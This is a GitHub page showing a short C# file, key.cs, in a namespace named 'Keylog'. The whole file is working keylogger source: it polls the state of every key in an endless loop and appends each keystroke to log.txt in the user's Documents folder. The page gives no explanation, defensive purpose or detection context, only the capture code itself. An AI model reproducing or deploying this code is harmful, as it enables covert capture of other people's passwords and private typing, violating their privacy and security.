-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkey.cs
More file actions
38 lines (34 loc) · 1.08 KB
/
key.cs
File metadata and controls
38 lines (34 loc) · 1.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
using System;
using System.IO;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace Keylog
{
class Program
{
[DllImport("User32.dll")]
public static extern short GetAsyncKeyState(int vKey);
static void Main(string[] args)
{
string filePath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\log.txt";
// Loop forever to capture key strokes
while (true)
{
// Iterate through all possible key codes
for (int i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
// If key is pressed
if (keyState == 1 || keyState == -32767)
{
// then write to the file
using (StreamWriter sw = new StreamWriter(filePath, true))
{
sw.Write((Keys)i + " ");
}
}
}
}
}
}
}